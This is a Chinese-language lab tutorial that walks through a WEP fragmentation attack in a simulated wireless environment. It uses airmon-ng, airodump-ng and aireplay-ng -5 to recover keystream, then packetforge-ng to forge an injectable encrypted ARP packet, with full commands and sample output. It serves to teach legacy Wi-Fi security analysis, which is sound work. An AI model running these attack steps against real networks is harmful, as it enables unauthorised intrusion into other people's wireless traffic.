引言
在本实验中,你将学习如何对使用 WEP (Wired Equivalent Privacy) 加密的网络执行碎片攻击。碎片攻击是一种技术,允许攻击者在不知道 WEP 密钥本身的情况下,获取少量 WEP 密钥流(具体来说是伪随机生成算法或 PRGA)。
一旦获取到此密钥流,就可以用来创建新的、有效的加密数据包。然后,这些伪造的数据包可以被注入回网络以刺激流量,这是破解完整 WEP 密钥的关键步骤。
你将使用 aircrack-ng 工具集来完成此任务。该过程包括监控目标网络、发起碎片攻击以获取 PRGA XOR 文件,然后使用该文件伪造一个 ARP 数据包。
使用 airodump-ng 从目标 AP 获取数据包
在此步骤中,你将准备无线接口以进行监控,然后使用 airodump-ng 捕获目标接入点 (AP) 的流量。目标是捕获至少一个数据包,这是碎片攻击所必需的。
首先,你需要将无线接口置于监控模式。此模式允许网卡监听空气中的所有 Wi-Fi 流量,而不仅仅是发送给它的流量。我们将使用 wlan1 接口上的 airmon-ng 命令。
在你的终端中执行以下命令:
sudo airmon-ng start wlan1
此命令将创建一个新的监控模式接口,通常命名为 wlan1mon。输出将确认新的接口名称。
PHY Interface Driver Chipset
phy1 wlan1 mac80211_hwsim Software simulator
(monitor mode enabled on wlan1mon)
现在,使用 airodump-ng 来查找我们的目标 AP,“TestWEP”,并将其流量捕获到文件中。我们将指定 BSSID (02:00:00:00:00:00)、信道 (1) 和输出文件的文件前缀 (capture)。
运行此命令。让它运行大约 30-60 秒,直到你看到 AP 的 #Data 计数增加,这表明数据包正在被捕获。
sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon
你将看到类似以下的输出。等待 #Data 列显示大于 0 的值。
CH 1 ][ Elapsed: 30 s ][ 2023-10-27 10:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:00:00 -30 25 5 1 1 54 WEP WEP TestWEP
BSSID STATION PWR Rate Lost Frames Probe
一旦你看到数据包已被捕获,请按 Ctrl+C 停止 airodump-ng。你可以使用 ls 命令查看生成的捕获文件,该文件将被命名为 capture-01.cap。
使用 aireplay-ng -5 发起碎片攻击
在此步骤中,你将使用 aireplay-ng 发起碎片攻击。此攻击会监听来自目标 AP 的数据包,一旦捕获到数据包,它将使用该数据包尝试确定 PRGA 密钥流。
此攻击的命令是 aireplay-ng -5。你需要使用 -b 标志指定目标 AP 的 BSSID 和你的监控接口名称。
执行以下命令来启动攻击。
sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon
运行命令后,aireplay-ng 将开始监听一个合适的数据包。终端将显示一条消息,表明它正在等待。
Waiting for a data packet...
Read 221 packets...
该工具将继续读取数据包,直到找到一个可用于攻击的数据包。在下一步中,一旦找到合适的数据包,你将与此过程进行交互。现在,只需让它运行即可。
等待 aircrack-ng 的“使用此数据包”消息
在此步骤中,你将继续使用 aireplay-ng 启动的进程。稍后,aireplay-ng 应该会捕获一个可用的数据包,并提示你进行确认。
该工具将显示数据包的详细信息并询问你是否要使用它。
Waiting for a data packet...
Read 280 packets...
A suitable packet found!
Size: 68
1. Use this packet? (y/n)
当你看到 Use this packet? (y/n) 提示时,输入 y 并按 Enter。
y
确认后,aireplay-ng 将尝试从数据包中重建 PRGA。如果成功,它将在你的当前目录 (~/project) 中将密钥流保存到 .xor 文件。输出将类似于:
Saving chosen packet to replay_src-1027-100500.cap
Trying to get 68 bytes of keystream
Got keystream!!
Saved keystream in fragment-1027-100501.xor
Now you can build a packet with packetforge-ng
这证实了攻击成功,并且密钥流已保存。.xor 文件是伪造新数据包的关键。
从成功的攻击中生成 PRGA XOR 文件
在此步骤中,你将确认 PRGA 密钥流文件已通过碎片攻击成功创建。此文件具有 .xor 扩展名,其中包含我们恢复的密钥流片段。
正如你在上一步的输出中看到的,aireplay-ng 会自动保存文件。你可以使用 ls -l 命令列出当前目录中的文件来验证其是否存在。
ls -l
输出应显示多个文件,包括来自 airodump-ng 的 capture-01.cap 文件,以及最重要的,新的 .xor 文件。文件名将根据日期和时间而变化。
total 20
-rw-r--r-- 1 root root 119 Oct 27 10:02 capture-01.cap
-rw-r--r-- 1 root root 68 Oct 27 10:05 fragment-1027-100501.xor
-rw-r--r-- 1 root root 114 Oct 27 10:01 hostapd-wep.conf
-rw-r--r-- 1 root root 96 Oct 27 10:05 replay_src-1027-100500.cap
fragment-*.xor 文件的存在证实了你在下一步伪造新数据包所需的组件已具备。
使用 XOR 文件伪造 ARP 数据包进行注入
在此步骤中,你将使用恢复的 PRGA 密钥流来伪造一个新数据包。我们将使用 packetforge-ng 创建一个 ARP 请求数据包。这个伪造的数据包随后可以注入网络以产生更多流量,这对于破解 WEP 密钥等其他攻击非常有用。
首先,你需要知道你的攻击接口 (wlan1) 的 MAC 地址。你可以使用 ip addr 命令找到它。
ip addr show wlan1
输出将显示你的 MAC 地址。在此模拟环境中,它是 02:00:00:00:01:00。
3: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
现在,构建 packetforge-ng 命令。
-0: 指定一个 ARP 请求数据包。-a: 目标 AP 的 BSSID (02:00:00:00:00:00)。-h: 源 MAC 地址(你的 MAC,02:00:00:00:01:00)。-k: 目标 IP 地址(我们将使用一个常见的广播 IP,192.168.1.255)。-l: 源 IP 地址(我们将使用一个常见的源 IP,192.168.1.100)。-y:.xor文件的路径。我们可以使用$(ls *.xor)来自动使用该文件。-w: 我们伪造数据包的输出文件名,例如arp-packet.cap。
运行命令:
packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap
该工具将确认它已创建数据包。
Wrote packet to arp-packet.cap
你现在已经成功创建了一个有效的、加密的 ARP 数据包,而无需知道 WEP 密钥。你可以使用 ls 来验证它的创建。这个数据包现在已准备好注入网络。
总结
在此实验中,你成功执行了 WEP 碎片攻击。你学习了遗留 Wi-Fi 安全分析中的一项基本技术。
你首先使用 airmon-ng 设置了监听模式接口,并使用 airodump-ng 从目标 AP 捕获数据包。然后,你使用 aireplay-ng -5 发起了核心碎片攻击,这使你能够恢复一部分 WEP 密钥流。
最后,你使用恢复的密钥流和 packetforge-ng 从头开始创建了一个自定义的、加密的 ARP 请求数据包。这个伪造的数据包是更高级攻击的关键工具,例如 ARP 请求重放攻击,这种攻击可以快速生成破解 WEP 密钥所需的数千个数据包。
